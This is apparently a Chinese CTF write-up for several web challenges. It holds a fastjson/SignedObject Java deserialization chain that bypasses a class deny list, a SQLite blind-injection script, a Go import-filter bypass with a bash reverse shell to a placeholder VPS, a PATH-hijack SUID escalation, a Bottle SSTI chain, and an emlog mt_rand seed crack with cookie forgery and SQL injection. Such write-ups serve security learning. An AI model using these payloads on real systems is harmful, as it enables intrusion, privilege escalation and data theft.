前言 随便看看,随便打打。
SQL不想做。
javaGuide 比较简单的缝合,题目给了一个反序列化入口,依赖是fastjson1.2.83
,可以直接用fj原生打底。
但这里重写了resolveClass
来对序列化数据进行check:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class MyObjectInputStream extends ObjectInputStream { public MyObjectInputStream (InputStream in) throws IOException { super (in); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); String[] denyClasses = new String []{"com.sun.org.apache.xalan.internal.xsltc.trax" , "javax.management" , "com.fasterxml.jackson" }; int var5 = denyClasses.length; for (String denyClass : denyClasses) { if (className.startsWith(denyClass)) { throw new InvalidClassException ("Unauthorized deserialization attempt" , className); } } return super .resolveClass(desc); } }
很显然直接ban的是TemplateImpl
和BadAttributeValueExpException
以及Jackson
,但是仍然有绕过的方法。
首先我想到了用UTF-8 Overlong Encoding
绕过,但是这次竟然没成功,过不了这里的resolveClass
:
这里直接调了Jackson,可能是这个原因。
绕这个resolveClass
的常见方法还有SignedObject
二次反序列化,但是直接打也绕不过javax.management.BadAttributeValueExpException
,这里换一个触发的EventListenerList
,这个来自Jackson
原生。
一调就通:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 package com.eddiemurphy;import com.alibaba.fastjson.JSONArray;import com.example.javaguide.MyObjectInputStream;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.management.BadAttributeValueExpException;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import java.io.*;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.*;public class Exp { public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static byte [] genPayload(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");" ); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49 ); return clazz.toBytecode(); } public static void main (String[] args) throws Exception{ List<Object> list = new ArrayList <>(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , new byte [][]{genPayload("calc.exe" )}); setValue(templates, "_name" , "1" ); setValue(templates, "_tfactory" , null ); list.add(templates); JSONArray jsonArray2 = new JSONArray (); jsonArray2.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException (null ); setValue(bd,"val" ,jsonArray2); list.add(bd); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject ((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA" )); JSONArray jsonArray1 = new JSONArray (); jsonArray1.add(signedObject); EventListenerList eventListenerList = new EventListenerList (); UndoManager undoManager = new UndoManager (); Vector vector = (Vector) getFieldValue(undoManager, "edits" ); vector.add(jsonArray1); setValue(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager}); byte [] payload = ser(eventListenerList); String payload_b64 = Base64.getEncoder().encodeToString(payload); System.out.println(payload_b64); } public static byte [] ser(Object obj) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); } public static void des_normal (String payload) throws Exception { byte [] bytes = Base64.getDecoder().decode(payload); ObjectInputStream objectInputStream = new ObjectInputStream (new ByteArrayInputStream (bytes)); objectInputStream.readObject(); } public static void des_waf (String payload) throws Exception { byte [] bytes = Base64.getDecoder().decode(payload); MyObjectInputStream ois = new MyObjectInputStream (new ByteArrayInputStream (bytes)); ois.readObject(); } }
题目说了不出网,套一个Spring内存马写入byteCode就完事了。
注意二次反序列化第一次会报构造函数的错,因为没有缓存,这种情况打两次就好了。
本地:
远程:
参考:
fastjson1.2.83反序列化漏洞_fastjson 1.2.83漏洞-CSDN博客
Java 反序列化绕过 resolvClass - DumKiy’s blog
Fastjson 结合 jdk 原生反序列化的利用手法 ( Aliyun CTF ) - FreeBuf网络安全行业门户
MemShell4Spring/No2_ControllerHandlerShell.java at main · Avento/MemShell4Spring
奶龙回家 Sqlite数据库的时间盲注。
也能测出waf是
但是可以使用randomblob
替换。而且/**/
也没ban,套一下官方的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport time url = 'http://node.vnteam.cn:44824/login' flag = '' for i in range (1 ,500 ): low = 32 high = 128 mid = (low+high)//2 while (low<high): time.sleep(0.2 ) payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*" .format (i,chr (mid)) datas = { "username" :"eddie" , "password" : payload } start_time=time.time() res = requests.post(url=url,json=datas) end_time=time.time() spend_time=end_time-start_time if spend_time>=0.19 : low = mid+1 else : high = mid mid = (low+high)//2 if (mid ==32 or mid ==127 ): break flag = flag+chr (mid) print (flag)print ('\n' +bytes .fromhex(flag).decode('utf-8' ))
跑出username和password,但有可能跑错,所以多跑几次:
1 nailong/woaipangmao114514
登录获得flag:
参考:SQLite注入 - FreeBuf网络安全行业门户
Gin 读取源码,可以发现有任意文件读取路由,key.go没有直接给我们,应该是要我们去读的。
然后跟一下会发现key.go影响jwt的token生成,有一个/eval的执行沙箱代码,但是需要admin的鉴权:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 func Eval (c *gin.Context) { code := c.PostForm("code" ) log.Println(code) if code == "" { response.Response(c, http.StatusBadRequest, 400 , nil , "No code provided" ) return } log.Println(containsBannedPackages(code)) if containsBannedPackages(code) { response.Response(c, http.StatusBadRequest, 400 , nil , "Code contains banned packages" ) return } tmpFile, err := ioutil.TempFile("" , "goeval-*.go" ) if err != nil { log.Println("Error creating temp file:" , err) response.Response(c, http.StatusInternalServerError, 500 , nil , "Error creating temporary file" ) return } defer os.Remove(tmpFile.Name()) _, err = tmpFile.WriteString(code) if err != nil { log.Println("Error writing code to temp file:" , err) response.Response(c, http.StatusInternalServerError, 500 , nil , "Error writing code to temp file" ) return } cmd := exec.Command("go" , "run" , tmpFile.Name()) output, err := cmd.CombinedOutput() if err != nil { log.Println("Error running Go code:" , err) response.Response(c, http.StatusInternalServerError, 500 , gin.H{"error" : string (output)}, "Error executing code" ) return } response.Success(c, gin.H{"result" : string (output)}, "success" ) }
关键在这里:
1 2 3 4 5 6 7 8 9 10 11 12 func containsBannedPackages (code string ) bool { importRegex := `(?i)import\s*\((?s:.*?)\)` re := regexp.MustCompile(importRegex) matches := re.FindStringSubmatch(code) imports := matches[0 ] log.Println(imports) if strings.Contains(imports, "os/exec" ) { return true } return false }
如果admin身份进入沙箱,这里会匹配os/exec
,不让你外部执行命令。
但是根本难不倒他,syscall
也能打。
其实细心一点看代码,就会发现这里的匹配只匹配了第一个import,意思就是你import两次第二次他根本就不检查,太难绷了……
1 2 3 4 5 6 7 import ( "log" )import ( "os/exec" )
而读取到key.go后,我们能直接拿本地生成的token去套远程环境,因为这里mt_rand伪随机数生成的JWT KEY
是唯一的,所以仍然有效。
这里执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package mainimport ( "log" "syscall" )func main () { cmd := "/bin/bash" args := []string {"bash" , "-c" , "bash -i >& /dev/tcp/vps/port 0>&1" } err := syscall.Exec(cmd, args, nil ) if err != nil { log.Fatalf("Error executing command: %v" , err) } }
反弹shell成功:
根目录假flag,suid提权看看:
1 find / -user root -perm -4000 -print 2>/dev/null
找到个/…/Cat,只会输出根目录那个假flag。 发现/…/Cat,我们base64给他弄下来逆一下,主逻辑:
这里的Cat会执行cat /flag拿假flag命令,开始我还没想到,还试了试编译恶意so打LD_PRELOAD,但是失败了。
后面一搜suid方法,搜到了个环境变量提权的手段,新知识啊:
1 2 echo "/bin/bash" > /tmp/cat && chmod +x /tmp/catexport PATH=/tmp:$PATH
大致意思就是,我们在tmp内写一个cat,将/bin/bash写进去,然后环境变量设置/tmp,那么执行这个/…/Cat时会执行cat,而cat命令就会优先在环境变量寻找,也就是执行了/tmp/cat,此时就执行到root权限的/bin/bash而拿到了高权限shell。
但是直接读/root下的flag好像没反应?算了都chmod 777再弹一次就行了:
学生姓名登记系统 {{7*'7'}}
能直接查出python的SSTI,但是限制了长度最大23,而且open被ban了。
题目其实提示了一行一个名字,应该是用换行来绕这个限制。这里使用%0a
就能绕。
这里的单文件框架其实就是bottle,虽然不太知道,但是知不知道都无所谓,测一测就知道赋值打法能直接常规SSTI一把梭了:
1 2 3 4 5 6 7 8 9 10 {{a:='' }} {{b:=a.__class__}} {{c:=b.__base__}} {{d:=c.__subclasses__}} {{e:=d()[154 ]}} {{f:=e.__init__}} {{g:=f.__globals__}} {{h:=g['pop' 'en' ]}} {{i:=h("cat /flag" )}} {{j:=i.read()}}
1 {{a:='' }}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[154 ]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{h:=g['po' 'pen' ]}}%0a{{i:=h("cat /flag" )}}%0a{{j:=i.read()}}
但这样直接打好像有点识别问题?而且无回显,测{{print(5)}}
就能知道。
建议发HTTP包打或者hackbar,用open打:
1 {{a:='' }}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156 ]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__' }}%0a{{h:=g[z]}}%0a{{i:=h['op' 'en' ]}}%0a{{x:=i("/flag" )}}%0a{{y:=x.read()}}
ez_emlog 据说是个0day。
分前台登录和后台RCE两步。
前台登录需要拿到AUTH_KEY,然后SQL注入拿到可用用户名,然后用这个用户名和AUTH_KEY生成可用cookie给CSRF进后台,后台可以上传恶意插件RCE。
去官方下载它的源码,先审计一下install.php
:
AUTH_KEY和AUTH_COOKIE_NAME都使用了getRandStr()生成随机序列,跟进:
看到了题目提示的mt_rand安全问题,这里只需要获得确定的序列就能破这个伪随机数,预测出AUTH_KEY。
审计源码能知道获得种子seed有两个方法,第一个是注册用户并登录,但是题目给关了。
继续审计源码,发现logout出去也能set-cookie。
审一下得到访问逻辑,那我们可以先访问action=logout路由抓包获取这段cookie拿去爆种子:
1 2 3 4 5 6 7 8 9 10 11 12 <?php $allowable_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ;$len = strlen ($allowable_characters ) - 1 ;$pass = "RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr" ;for ($i = 0 ; $i < strlen ($pass ); $i ++) { echo "0 0 0 0 " ; }for ($i = 0 ; $i < strlen ($pass ); $i ++) { $number = strpos ($allowable_characters , $pass [$i ]); echo "$number $number 0 $len " ; }
为了生成符合爆破规则的字符串,可以把前面32位未知的值写为0 0 0 0
,运行得到:
1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 43 0 61 1 1 0 61 26 26 0 61 48 48 0 61 21 21 0 61 39 39 0 61 35 35 0 61 51 51 0 61 57 57 0 61 50 50 0 61 38 38 0 61 4 4 0 61 51 51 0 61 37 37 0 61 32 32 0 61 38 38 0 61 17 17 0 61 57 57 0 61 58 58 0 61 11 11 0 61 5 5 0 61 9 9 0 61 47 47 0 61 0 0 0 61 11 11 0 61 40 40 0 61 55 55 0 61 24 24 0 61 16 16 0 61 50 50 0 61 11 11 0 61 17 17 0 61
爆出种子:
回到鉴权逻辑:
显然这里可以构造永真式SQL打个报错注入,这里的UA头是网站页面那个博客里给的UA:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $seed = 2430606281 ;mt_srand ($seed );$rand_string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()" ;$retStr = '' ;for ($i = 0 ; $i < 32 ; $i ++) { $retStr .= substr ($rand_string , mt_rand (0 , strlen ($rand_string ) - 1 ), 1 ); }$user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0' ;$auth_key = $retStr .$user_agent ;echo 'AUTH_KEY:' . $auth_key . "\n" ;$username = "x' and updatexml(1,concat(0x7e,(select(substr(username,1,16))from(emlog_user)),0x7e),1) #" ;$expiration = 0 ;$data = $username . '|' . $expiration ;$key = hash_hmac ('md5' , $data , $auth_key );$hash = hash_hmac ('md5' , $username . '|' . $expiration , $key );echo "\nEM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=" .$username ."|" .$expiration ."|" .$hash ;
1 2 3 AUTH_KEY:yxuzKkM2QC8L8WLPFvawb (mI4R&NglOAMozilla/5.0 (Windows NT 10.0 ; Win64; x64; rv :135.0 ) Gecko/20100101 Firefox/135.0 EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=x' and updatexml(1,concat(0x7e,(select(substr(username,1,16))from(emlog_user)),0x7e),1) #|0|1347191e25f82f5b77b6d5b283ee4064
再用得到的用户名生成可用cookie登录后台。
或者用AUTH_KEY生成万能密码直接登录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php function generateAuthCookie ($user_login , $expiration ) { $key = emHash ($user_login . '|' . $expiration ); $hash = hash_hmac ('md5' , $user_login . '|' . $expiration , $key ); return $user_login . '|' . $expiration . '|' . $hash ; }function emHash ($data ) { return hash_hmac ('md5' , $data , "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02" ); }var_dump (generateAuthCookie ("' or 1=1#" , 0 ));
后续后台上传恶意插件RCE:
Emlog Pro 任意文件上传漏洞(CVE-2023-44974)_emlog v2.2.0后台插件上传漏洞-CSDN博客
yangliukk/emlog
压缩包中必须存在一个与压缩包同名的PHP文件,并且上传成功不会返回上传路径。
打包上传: